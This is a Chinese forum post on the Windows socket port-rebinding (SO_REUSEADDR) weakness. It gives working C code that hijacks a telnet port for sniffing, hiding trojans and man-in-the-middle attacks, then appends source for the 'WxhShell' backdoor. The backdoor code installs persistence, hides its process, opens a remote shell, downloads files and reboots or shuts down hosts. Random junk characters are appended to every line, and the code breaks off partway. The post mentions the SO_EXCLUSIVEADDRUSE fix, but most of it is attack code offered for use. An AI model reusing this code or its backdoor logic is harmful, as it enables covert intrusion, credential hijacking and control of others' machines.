社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15279阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :v 4]D4\o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WF"k[2  
#LCb  
  saddr.sin_family = AF_INET; LgYq.>Nl9  
[00m/fT6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $od7;%  
%XTI-B/K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x)VJFuqy  
yLcE X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Xm&L B X  
OrG).^l  
  这意味着什么?意味着可以进行如下的攻击: [S<";l8  
i6N',&jFU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S tyfB  
.e5Mnd%$M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NEF# }s2=  
C7?/%7{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 et+0FF ,  
P|> ~_$W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?fS9J  
^C%<l( b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B-ESFATc  
"w _aM7x_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i?;Kq~,  
'f|o{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L rPkxmR  
y?!"6t7&  
  #include T 1t6p&  
  #include *|l/6!WM  
  #include G / 5%.Bf@  
  #include    ^}C\zW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a: K[ y  
  int main() CH/rp4NeSy  
  { t >sE x:  
  WORD wVersionRequested; nF/OPd  
  DWORD ret; ~_ a-E  
  WSADATA wsaData; $]8Q(/mbK  
  BOOL val; Qci]i)s$js  
  SOCKADDR_IN saddr; 6@Y|"b  
  SOCKADDR_IN scaddr; =":,.Ttq41  
  int err; 3N:D6w-R  
  SOCKET s; Sx\]!B@DSu  
  SOCKET sc; h.fq,em+H  
  int caddsize; ,2)6s\]/b  
  HANDLE mt; lys#G:H]  
  DWORD tid;   &~w}_Fjk  
  wVersionRequested = MAKEWORD( 2, 2 ); BluVmM3Vj  
  err = WSAStartup( wVersionRequested, &wsaData ); 9{uO1O\  
  if ( err != 0 ) { E!AE4B1bd  
  printf("error!WSAStartup failed!\n"); u]gxFG "   
  return -1; u2[w#   
  } kNL\m[W8$  
  saddr.sin_family = AF_INET; 0?M:6zf_iv  
   [8*)8jP3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xx(T">]vJ  
3BLqCZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); { BHO/q3  
  saddr.sin_port = htons(23); [S W_C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PxE3K-S)G  
  { \|ao`MMaD<  
  printf("error!socket failed!\n"); v.ui!|c  
  return -1; bu"!jHPB  
  } 0|b>I!_"g  
  val = TRUE; &VcV$8k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]+$?u&0?w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [trwBZ^D~  
  { bJ;'`sw1  
  printf("error!setsockopt failed!\n"); =I~mKn  
  return -1; MJrR[h]  
  } YAmb`CP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >"<Wjr8W!$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3yXY.>'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EZ`{Wnbq  
 RX5dO%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s|ITsz0,td  
  { b_):MQ1{  
  ret=GetLastError(); xP,hTE  
  printf("error!bind failed!\n"); jNy.Y8E&  
  return -1; FsryEHz  
  } n-OL0$Xu  
  listen(s,2); "g#i'"qnW  
  while(1) k;L6R!V  
  { D#)b+7N-  
  caddsize = sizeof(scaddr); !Rt>xD  
  //接受连接请求 d^6M9lGU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MqUH',\3  
  if(sc!=INVALID_SOCKET) 1!gbTeVlY  
  { S Z$Kz n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *WT`o>  
  if(mt==NULL) >dG[G>  
  { 7\q~%lDE  
  printf("Thread Creat Failed!\n"); 6MkP |vr6  
  break; ;w[0t}dPl  
  } OydwE  
  } O0y_Lm\  
  CloseHandle(mt); veh<R]U  
  } m9Hit8f@Q  
  closesocket(s); #1G:lhkC  
  WSACleanup(); ""|Qtubv  
  return 0; >e"#'K0?\  
  }   YUIi;  
  DWORD WINAPI ClientThread(LPVOID lpParam) :08,JL{  
  { }Z,x~G  
  SOCKET ss = (SOCKET)lpParam; XvlU*TO~(~  
  SOCKET sc; 8ITdSg  
  unsigned char buf[4096]; Qz N&>sk"  
  SOCKADDR_IN saddr; E\,-XH  
  long num; 1y4  
  DWORD val; ^`>/.gL  
  DWORD ret; $p?aVO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8*T=Xei8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E+w<RNBmz  
  saddr.sin_family = AF_INET; `^y7f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n=ux5M  
  saddr.sin_port = htons(23); 5[u]E~Fl}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xUistwq  
  { hfy_3}_  
  printf("error!socket failed!\n"); b%/ 1$>_  
  return -1; J6aef ^>  
  } 3kMf!VL  
  val = 100; FG*r'tC~r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ilx)*Y  
  { )TH@# 1  
  ret = GetLastError(); 0=E]cQwh  
  return -1; 0s2v'A[\  
  } `^Em&6!!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <yFu*(Q  
  { 6b \&~b@T  
  ret = GetLastError(); `lt"[K<  
  return -1; =>af@C.2  
  } v-_e)m^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vOpK Np  
  { -p XSSa;O9  
  printf("error!socket connect failed!\n"); %Qdn  
  closesocket(sc); kq,ucU%>p  
  closesocket(ss); 1^(ad;BC y  
  return -1; ;x@~A^<el  
  } "~C,bk  
  while(1) 8q}q{8  
  { V /V9B2.$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UQ@L V~6{R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?oHpFlj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u($ !z^h  
  num = recv(ss,buf,4096,0); R',rsGd`6j  
  if(num>0) ^qD$z=z-  
  send(sc,buf,num,0); &@Be2!%'9K  
  else if(num==0) Y\?"WGL)p  
  break; >e[i5  
  num = recv(sc,buf,4096,0); (jl D+Y_  
  if(num>0) 6MMOf\   
  send(ss,buf,num,0); cP_.&!T  
  else if(num==0) JHTSUq  
  break; o="M  
  } zv,jM0-  
  closesocket(ss); l3I:Q^x@  
  closesocket(sc);  o!ebs0  
  return 0 ; pohp&Tcm  
  } }oGA-Qc}B  
~g ZLY ls  
Q:k}Jl  
========================================================== j yUCH*@  
 DwE[D]7o  
下边附上一个代码,,WXhSHELL T !WT;A  
AogVF  
========================================================== !\.pq  2  
^N{h3b8  
#include "stdafx.h" *]/zc1Q4M  
wHMX=N1/  
#include <stdio.h> CD ( :jM?  
#include <string.h> iN8zo:&Z  
#include <windows.h> lB vR+9Qw  
#include <winsock2.h> xH"/1g  
#include <winsvc.h> "8jf81V*  
#include <urlmon.h> U7}yi$WT  
ieCEo|b  
#pragma comment (lib, "Ws2_32.lib") qL3;}R  
#pragma comment (lib, "urlmon.lib") {dMsz   
qwgPk9l  
#define MAX_USER   100 // 最大客户端连接数 CxOob1@  
#define BUF_SOCK   200 // sock buffer dufu|BL|}  
#define KEY_BUFF   255 // 输入 buffer JL}_72gs  
dV$gB<iS  
#define REBOOT     0   // 重启 Y;^l%ePuW  
#define SHUTDOWN   1   // 关机 d K3*;  
%^GfS@t  
#define DEF_PORT   5000 // 监听端口 ARwD~ Tr  
HjD8u`qQ  
#define REG_LEN     16   // 注册表键长度 hxd`OG<gF  
#define SVC_LEN     80   // NT服务名长度 Eq9x2  
;m{1 _1  
// 从dll定义API BdblLUGK#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;d"F%M y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y}|X|!0x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); " h~Z u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CiLg]va   
`1{ZqRFQ  
// wxhshell配置信息 F]]]y5t  
struct WSCFG { /,&<6c-Q@W  
  int ws_port;         // 监听端口 =O_4|7Zl  
  char ws_passstr[REG_LEN]; // 口令 >kDQkhZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no dkBIx$t  
  char ws_regname[REG_LEN]; // 注册表键名 1.{z3_S21:  
  char ws_svcname[REG_LEN]; // 服务名 {|_M # w~&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *>'V1b4}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (WO]Xq<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <~'"<HwtK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vB|hZTW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tc &z:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zFw s:_ i  
I%X6T@P  
}; j2.|ln"!  
O{G?;H$  
// default Wxhshell configuration YPK(be_|I  
struct WSCFG wscfg={DEF_PORT, =llvuUd\n  
    "xuhuanlingzhe", pF:$  ko  
    1, m6&~HfwN  
    "Wxhshell", 2E/"hQw  
    "Wxhshell", l2rd9 -T  
            "WxhShell Service", J0\Fhe0'  
    "Wrsky Windows CmdShell Service", uHvp;]/0\  
    "Please Input Your Password: ", lC("y' ::  
  1, #+HJA42  
  "http://www.wrsky.com/wxhshell.exe", `nv~NLkl  
  "Wxhshell.exe" " H&W}N  
    }; ex9g?*Q  
#9}D4i.`}  
// 消息定义模块 D] jz A x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lVR~Bh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T?soJ]A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E=CsIK   
char *msg_ws_ext="\n\rExit."; E+R1 !.  
char *msg_ws_end="\n\rQuit."; q`H_M{26!y  
char *msg_ws_boot="\n\rReboot..."; mD0f<gJ1  
char *msg_ws_poff="\n\rShutdown..."; ith 3 =`3  
char *msg_ws_down="\n\rSave to "; Bp`]  
A8fOQ  
char *msg_ws_err="\n\rErr!"; ;F!5%}OcL%  
char *msg_ws_ok="\n\rOK!"; iWB=sL&p  
aS{n8P6vW  
char ExeFile[MAX_PATH]; z/WE,R  
int nUser = 0; [.'|_l  
HANDLE handles[MAX_USER]; <+Dn8  
int OsIsNt; 3<Zq ]jk?n  
bv9i*]  
SERVICE_STATUS       serviceStatus; OgQV;at  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZaDyg"Tw+  
)oDHeU<&  
// 函数声明 z Rl3KjET  
int Install(void); '}JhzKNj  
int Uninstall(void); X!Mx5fg  
int DownloadFile(char *sURL, SOCKET wsh); B=yqW  
int Boot(int flag); K{cD+=]{  
void HideProc(void); DV+xg3\(>1  
int GetOsVer(void); t?ZI".>  
int Wxhshell(SOCKET wsl); +xSHL|:b  
void TalkWithClient(void *cs); ^aMg/.j  
int CmdShell(SOCKET sock); 5uNJx5g  
int StartFromService(void); YX7L?=;.@  
int StartWxhshell(LPSTR lpCmdLine); *:YiimOY"  
C'+YQ]u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EXwo,?I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >CgTs  
1i"WDu*h3  
// 数据结构和表定义 5k3n\sqZA  
SERVICE_TABLE_ENTRY DispatchTable[] = 2LL'J7  
{ {3p4:*}  
{wscfg.ws_svcname, NTServiceMain}, tl4V7!U@^z  
{NULL, NULL} F/bT)QT<f  
}; ?m=N]!n  
1k5Who@  
// 自我安装 :q7Wy&ow  
int Install(void) k\YG^I  
{ UcDS9f_87  
  char svExeFile[MAX_PATH]; *_{j=sd  
  HKEY key; [vK ^Um  
  strcpy(svExeFile,ExeFile); |zNX=mAV  
_AYK435>N  
// 如果是win9x系统,修改注册表设为自启动 o\<ULW*  
if(!OsIsNt) { *@r/5pM2}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 69?wc!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Un(aW=PQ0  
  RegCloseKey(key); M~#gRAUJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xe'x[(l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bv9]\qC]T<  
  RegCloseKey(key); }[};IqVaK  
  return 0; ^q vbqfh  
    } N/'b$m5= S  
  } swoQ'  
} BB$>h}  
else { [0[i5'K:  
k>Vci{v  
// 如果是NT以上系统,安装为系统服务 kr5">"7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VimE@Hz  
if (schSCManager!=0) He/8=$c%  
{ qu6D 5t  
  SC_HANDLE schService = CreateService 7qLpZ/  
  ( C12Fl  
  schSCManager, Nw/  ku  
  wscfg.ws_svcname, eKLZt%=  
  wscfg.ws_svcdisp, C8:f_mJU  
  SERVICE_ALL_ACCESS, r1m]HFN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]z;I _-  
  SERVICE_AUTO_START, <X^@*79m  
  SERVICE_ERROR_NORMAL, eIEeb,#i  
  svExeFile, q&- `,8#  
  NULL, |`,2ri*5A  
  NULL, \fr~  
  NULL, IH&|Tcf\  
  NULL, V`d,qn)i  
  NULL Bz-c$me1  
  ); S_4?K)n #  
  if (schService!=0) ,~$p,ALwN7  
  { ~ 'H ]jN  
  CloseServiceHandle(schService); n;C :0  
  CloseServiceHandle(schSCManager); $}q23  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GPv1fearl  
  strcat(svExeFile,wscfg.ws_svcname); LTCb@L{^i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #s( BuVU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T_ <@..C  
  RegCloseKey(key); d-ZJL6-  
  return 0; @|m/djN5x  
    } D~iz+{Q4  
  } -1_)LO&H  
  CloseServiceHandle(schSCManager); !bx;Ta.  
} (ejvF):|  
} &|ex`nwc0  
rgv?gaQ>  
return 1; l -mfFN  
} w"|L:8  
!cLo> ,4  
// 自我卸载 a=1@*ID  
int Uninstall(void) 8.=BaNU  
{ =.U[$~3q%  
  HKEY key; q=m'^ ,gPS  
<CiSK!  
if(!OsIsNt) { ]t,BMu=%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O`\;e>!t  
  RegDeleteValue(key,wscfg.ws_regname); Hqx-~hQO  
  RegCloseKey(key); mzKiO_g}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hJ? O],4J  
  RegDeleteValue(key,wscfg.ws_regname); #&k5 d:  
  RegCloseKey(key); JPUW6e07o  
  return 0; }W8;=$jr  
  }  -p-ZzgQ  
} RnE4<Cy  
} rJT a  
else { `r':by0M  
EU;9 *W<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); , WYPU  
if (schSCManager!=0) 70nqD>M4  
{ ,HV(l+k {|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~&{S<Wl  
  if (schService!=0) 1#2 I  
  { At>DjKx]O  
  if(DeleteService(schService)!=0) { xml7Uarc  
  CloseServiceHandle(schService); XFpjYwn  
  CloseServiceHandle(schSCManager); s`8= 3]w  
  return 0; 5m 4P\y^a  
  } Lv7(st%`  
  CloseServiceHandle(schService); 4f@rv^f(X  
  } P>D)7 V9Hh  
  CloseServiceHandle(schSCManager); lNh70G8^p  
} ((;!<5-`s  
} C2I_%nU Z1  
:\c ^*K(9  
return 1; 9:|{6_Y  
} P|E| $)m  
..5CC;B  
// 从指定url下载文件 /-'}q=M  
int DownloadFile(char *sURL, SOCKET wsh) ;`{H!w[D  
{ 3(N$nsi  
  HRESULT hr; lb3b m)@:  
char seps[]= "/"; Bm<`n;m  
char *token; V)k4:H  
char *file;  7xlkZF  
char myURL[MAX_PATH]; L`TLgH&?R  
char myFILE[MAX_PATH]; J yK3{wYS  
I$G['` XX/  
strcpy(myURL,sURL); q YQl,w  
  token=strtok(myURL,seps); !9e=_mY  
  while(token!=NULL) >uRI'24  
  { 'JE`(xD  
    file=token; V=l0(03j~  
  token=strtok(NULL,seps); V1zmGy  
  } Gb6'n$g  
d7 y[0<xM  
GetCurrentDirectory(MAX_PATH,myFILE); Bk c4TO  
strcat(myFILE, "\\"); >Cp0.A:UC#  
strcat(myFILE, file); &6!)jIWJ  
  send(wsh,myFILE,strlen(myFILE),0);  8dA~\a  
send(wsh,"...",3,0); #zs~," dRv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T?0eVvM  
  if(hr==S_OK) (5YM?QAd  
return 0; vA{-{Q  
else F/{!tx  
return 1; 9$w.9`Py  
:3Ox~o  
} |HQW0  
M|h3Wt~7  
// 系统电源模块 ;$|nrwhy  
int Boot(int flag) \gaw6S>n}  
{ Wn2NMXK  
  HANDLE hToken; ^^$s%{ep"  
  TOKEN_PRIVILEGES tkp; IEi^kJflU  
uGGt\.$]s  
  if(OsIsNt) { C}Cs8eUn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =UQ3HQD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Btn?N  
    tkp.PrivilegeCount = 1; 7n<{tM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !Ai@$tl[S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j,eo2HaL  
if(flag==REBOOT) { Zu[su>\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6nvz8f3*r]  
  return 0; Yj49t_$b  
} qyTU8Wp  
else { 03Ycf'W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (L&d!$,Dv  
  return 0; bI1N@=  
} {!L~@r  
  } 9Y9GwL]T  
  else { :5<UkN)R(  
if(flag==REBOOT) { #;yZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #;e:A8IQ  
  return 0; 6bC3O4Rw  
} _`T_">9r  
else { ?fSG'\h>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S,UDezxg  
  return 0; b4kgFA  
} Jnov<+  
} T8$y[W-c  
V 5mTP'  
return 1; g) jYFfGfH  
} ~$^XP.a.  
)ez9"# MH'  
// win9x进程隐藏模块 99QU3c<.  
void HideProc(void) 3=j"=-=  
{ PJH&  
rV#ch(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /U9"wvg  
  if ( hKernel != NULL ) :$c |  
  { ;.980+i1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fx.=#bVX7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #_p\Ie*rd  
    FreeLibrary(hKernel); sO@Tf\d  
  } UaeXY+O  
:vbW  
return; O\ r0bUPE  
} ~9@UjQ^)F  
S,he6zS  
// 获取操作系统版本 xy;;zOh`  
int GetOsVer(void) R\[e!g*I  
{ XSLFPTDEc  
  OSVERSIONINFO winfo; rey!{3U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  b>ySv  
  GetVersionEx(&winfo); $!t4r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Km$\:Xo  
  return 1; 9%9#_?RW  
  else bk[!8- b/a  
  return 0; NzvXN1_%  
} +I28|*K"  
\9T7A&  
// 客户端句柄模块 K$=zi}J W  
int Wxhshell(SOCKET wsl) 6'f;-2  
{ #H~64/  
  SOCKET wsh; M\BRcz  
  struct sockaddr_in client; 0g8NHkM:2a  
  DWORD myID; K-Ef%a2#`  
]Y&VT7+Z  
  while(nUser<MAX_USER) ;$g?T~v7  
{ @r1_U,0e  
  int nSize=sizeof(client); f/?P514h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (tW`=]z-<  
  if(wsh==INVALID_SOCKET) return 1; BI@[\aRLQ  
S_H+WfIHV'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dR]m8mdqc1  
if(handles[nUser]==0) pQB."[n  
  closesocket(wsh); y6BAH  
else V0mn4sfs  
  nUser++; Ny/MJ#Lq  
  } $F.a><1rY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [$UI8tV  
dM@1l1h/  
  return 0; J{G?-+`  
} @H8EWTZ  
s eJ^s@H5l  
// 关闭 socket {' H(g[k  
void CloseIt(SOCKET wsh) :ShT|n7  
{ 8&dF  
closesocket(wsh); \9EjClf o  
nUser--; E]r?{t`]  
ExitThread(0); w0unS`\4  
} |R:'\+E  
wMN]~|z>  
// 客户端请求句柄 |_U= z;Y  
void TalkWithClient(void *cs) >9J:Uo1z  
{ Tlr v={  
Xch~ 1K  
  SOCKET wsh=(SOCKET)cs; .=; ;  
  char pwd[SVC_LEN]; )V9bI(v  
  char cmd[KEY_BUFF]; lp8v0e4  
char chr[1]; W2!+z{:m  
int i,j; A3*!"3nU  
 %;!.n{X  
  while (nUser < MAX_USER) { qqU 64E  
hi[pVk~B)  
if(wscfg.ws_passstr) { 5!9zI+S|=`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Flb&B1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xgtR6E^k  
  //ZeroMemory(pwd,KEY_BUFF); EoDA]6?Lj  
      i=0; -UT}/:a  
  while(i<SVC_LEN) { O#r%>;3*  
;dhQN }7  
  // 设置超时 &%Tj/Qx  
  fd_set FdRead; V(*(F7+  
  struct timeval TimeOut; cB&:z)i4  
  FD_ZERO(&FdRead); zbPqYhJzA  
  FD_SET(wsh,&FdRead); RD&PDXT4  
  TimeOut.tv_sec=8; \73ch  
  TimeOut.tv_usec=0; apxph2yvS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u]@['7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )!T/3|C  
Xn ;AZu^'R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A+{VGP^  
  pwd=chr[0]; (7*}-Uy[C  
  if(chr[0]==0xd || chr[0]==0xa) { 6W Ur QFK  
  pwd=0; Gs[XJ 5%`~  
  break; @KAI4LP  
  } IE~ |iQ?-  
  i++; >LuYHr  
    } tLmTjX .6  
teVM*-  
  // 如果是非法用户,关闭 socket 4KrL{Z+}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dgePPhj  
} T[A 69O]v  
Ga'swP=hf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WX0tgXl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +nGAz{&@r%  
E4xa[iZ  
while(1) { w%sT{(Vd`C  
LreP4dRe  
  ZeroMemory(cmd,KEY_BUFF); Y nZiT e@  
/u+e0BHo  
      // 自动支持客户端 telnet标准   4X|zmr:A  
  j=0; xN%K^Tree  
  while(j<KEY_BUFF) { ;bhT@aB1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uW3!Yg@  
  cmd[j]=chr[0]; WjqO@]P6  
  if(chr[0]==0xa || chr[0]==0xd) { v*yuE5{  
  cmd[j]=0; |zE'd!7E  
  break; h)nG)|c  
  } " 2Dngw  
  j++; FxtI"g\0  
    } POR\e|hRT]  
VLN_w$iEq  
  // 下载文件 !{41!O,K#  
  if(strstr(cmd,"http://")) { G*v,GR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?0xgRe<  
  if(DownloadFile(cmd,wsh)) c[Zje7 @  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~F7gP{r  
  else ^sg,\zD 'X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C"enpc_C/  
  } W*w3 [_"sr  
  else { WMP,\=6k0  
kO-(~];  
    switch(cmd[0]) { S 6,.FYH  
  B?o7e<l[  
  // 帮助 #cLBQJq  
  case '?': { N)>ID(}F1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5NLDYi@3  
    break; {kAc(  
  } jlg(drTo  
  // 安装 CVR3 A'  
  case 'i': { 5rUdv}.  
    if(Install()) gltBC${7wZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uSBa DYg  
    else T9q-,w/j;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2VCI 1E  
    break; *HB-QIl  
    } #LN`X8Wz'  
  // 卸载 3DG_QVg^v  
  case 'r': { .w ,q0<}  
    if(Uninstall()) HE_8(Ms ;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vs{|xG7W D  
    else v74&BL]a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Fr?^3h  
    break; Oz#{S:24M+  
    } d*Fj3Wkx  
  // 显示 wxhshell 所在路径 Q)z8PQl O  
  case 'p': { sFTy(A/  
    char svExeFile[MAX_PATH]; ji,kkipY?w  
    strcpy(svExeFile,"\n\r"); RY*U"G0#w  
      strcat(svExeFile,ExeFile); qb` \)X]9  
        send(wsh,svExeFile,strlen(svExeFile),0); f'3$9x  
    break; :T(|&F[(  
    } rk)`\=No  
  // 重启 dcWD(-  
  case 'b': { jm r"D>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q.c\/&  
    if(Boot(REBOOT)) m9}P9 ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w.-!UD9/.x  
    else { *G 9V'9  
